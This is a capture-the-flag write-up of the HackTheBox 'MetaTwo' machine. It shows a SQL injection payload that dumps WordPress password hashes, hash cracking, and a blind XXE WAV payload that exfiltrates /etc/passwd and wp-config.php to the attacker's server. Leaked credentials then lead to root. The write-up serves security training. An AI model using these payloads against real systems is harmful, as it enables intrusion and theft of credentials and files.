MetaTwo Writeup

29 April 2023 #CTF #HTB #box #easy #linux

meta2 info

Enumeration

Epic catchphrase about nmap:

$ sudo nmap -n -p- -T4 -oN enum/fulltcp.nmap 10.10.11.186
[...]
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -n -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.186
[...]
# Nmap 7.93 scan initiated Sat Nov 12 17:58:14 2022 as: nmap -p 21,22,80, -n -sCV -oN enum/scripts-tcp.nmap 10.10.11.186
21/tcp open  ftp?
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
|   256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_  256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

SSH

Based on the SSH banner, we know that the box is running Debian Bullseye (11).

FTP

Let's try anonymous login:

$ ftp 10.10.11.186
Connected to 10.10.11.186.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (10.10.11.186:yep): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
ftp: Login failed

Looks like we need valid credentials to access it.

HTTP

Upon accessing http://10.10.11.186 we are redirected to http://metapress.htb.

Let's see if we can get more subdomains:

$ ffuf -u http://10.10.11.186 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.metapress.htb' -fs 145

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.186
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.metapress.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 145
________________________________________________

:: Progress: [114441/114441] :: Job [1/1] :: 370 req/sec :: Duration: [0:05:10] :: Errors: 0 ::

Sadly, nothing.

metapress.htb

This is a pretty standard Wordpress blog:

wordpress blog

Directory bruteforcing leads us nowhere, everything is pretty standard.

Since there is nothing else, we can take a look at the /events page. After playing a bit with it, we find the plugin name by inspecting requests in Burp (Proxy tab -> HTTP history):

find plugin name in HTPP history Burp

This plugin is vulnerable to SQL injection.

SQLi

Intercept the request when clicking on the 'Events' button:

event page

The vulnerable parameter is total_services and we can use the UNION technique:

UNION to get database names

We get the name of the 2 databases on mysql.

Tried using load_file() but we don't have FILE privileges...

Fine, we can dump hashes from the wp_users table instead:

-7502) UNION SELECT group_concat(concat(user_login,user_pass)),0,0,0,0,0,0,0,0 FROM wp_users-- -'

admin and manager hashes

Let's try to crack these:

$ echo 'admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.' > wp-users.txt
$ echo 'manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70' >> wp-users.txt
$ hashcat wp-users.txt /usr/share/wordlists/rockyou.txt --username
[...]
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar

Use the --username flag because we specified username:hash in the file.

We cracked manager's password but not the admin one.

blind XXE as manager

The creds didn't work with ssh or ftp but we are able to login to Wordpress.

We can find the exact version of Wordpress just by looking in the html of /index.php. We learn that Wordpress 5.6.2 has an authenticated XXE.

Got a working payload from this repo:

$ printf 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.14/xxe.dtd'"'"'>%remote;%init;%trick;] >\x00'> evil.wav

xxe.dtd looks something like this:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.14/?p=%file;'>" >

evil.wav will load xxe.dtd from our python webserver which contains 2 external entities (basically XML variables).

Upload the file via Wordpress' Media Library page and we should get a response back instantly:

$ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.186 - - [26/Nov/2022 17:19:11] "GET /xxe.dtd HTTP/1.1" 200 -
10.10.11.186 - - [26/Nov/2022 17:19:11] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -

If we decode this, we will indeed see the /etc/passwd of the box.

Foothold

Let's try a more juicy file like wp-config.php. Just replace /etc/passwd by ../wp-config.php in xxe.dtd and re-upload the file.

After decoding the output on the webserver we get what we want:

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
[...]

We can now access the FTP server:

$ ftp 10.10.11.186
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
Name (ftp.metapress.htb:yep): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -a
229 Entering Extended Passive Mode (|||31998|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   4 0        metapress.htb     4096 Oct  5 14:12 .
drwxr-xr-x   4 0        metapress.htb     4096 Oct  5 14:12 ..
drwxr-xr-x   5 metapress.htb metapress.htb     4096 Oct  5 14:12 blog
drwxr-xr-x   3 metapress.htb metapress.htb     4096 Oct  5 14:12 mailer

The blog directory seems to be the web root of the Wordpress blog. However, we can't write files on here so we can't get code execution via a php webshell.

Let's look into mailer instead:

ftp> cd mailer
250 CWD command successful
ftp> ls
229 Entering Extended Passive Mode (|||41215|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x   4 metapress.htb metapress.htb     4096 Oct  5 14:12 PHPMailer
-rw-r--r--   1 metapress.htb metapress.htb     1126 Jun 22 18:32 send_email.php
ftp> get send_email.php
local: send_email.php remote: send_email.php
229 Entering Extended Passive Mode (|||46795|)
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
100% |*****************************************************************************************************************|  1126      807.94 KiB/s    00:00 ETA
226 Transfer complete
1126 bytes received in 00:00 (42.63 KiB/s)

Taking a peek at send_email.php:

[...]
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
[...]

We can ssh with 'jnelson:Cb4_JmWM8zUZWMu@Ys':

$ ssh jnelson@10.10.11.186
[...]
jnelson@meta2:~$ id
uid=1000(jnelson) gid=1000(jnelson) groups=1000(jnelson)

Privesc

We can't run sudo as our user, so let's look around our home directory:

jnelson@meta2:~$ ls -lA
total 24
lrwxrwxrwx 1 root    root       9 Jun 26 15:59 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson  220 Jun 26 15:46 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 15:46 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 12:51 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .passpie
[...]

There is this .passpie directory which is unusual. Turns out it is a command line password manager.

We can list stuff stored in the database:

jnelson@meta2:~$ passpie
Name    Login    Password    Comment
------  -------  ----------  ---------
ssh     jnelson  ********
ssh     root     ********

It looks like there is the root password inside, as well as our current user's.

If we go into the .passpie directory, we can see other files:

jnelson@meta2:~/.passpie$ ls -lA
total 16
-rwxr-x--- 1 jnelson jnelson   21 Dec  3 18:31 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26 13:58 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 12:52 ssh

This .keys file sounds intersting:

jnelson@meta2:~/.passpie$ cat .keys
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
[...]
fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----

lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
[...]
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----

It is a key pair that we can assume is used to encrypt/decrypt passwords. The private key is protected by a passphrase (the same passphrase passpie asks us to get passwords from). Let's try to crack this passphrase.

Firstly, copy the private key from the .keys file to a file on our box then convert the private key to a hash that john can work with:

$ gpg2john passpie.key > hash.txt

File priv.key

Then attempt to crack it with john:

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
[...]
blink182         (Passpie)
[...]

And we cracked the master password! (based music taste)

We can now get the root password through passpie:

jnelson@meta2:~/.passpie$ passpie copy --to stdout root@ssh
Passphrase:
p7qfAZt4_A1xo_0x
jnelson@meta2:~/.passpie$ su -
Password:
root@meta2:~# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways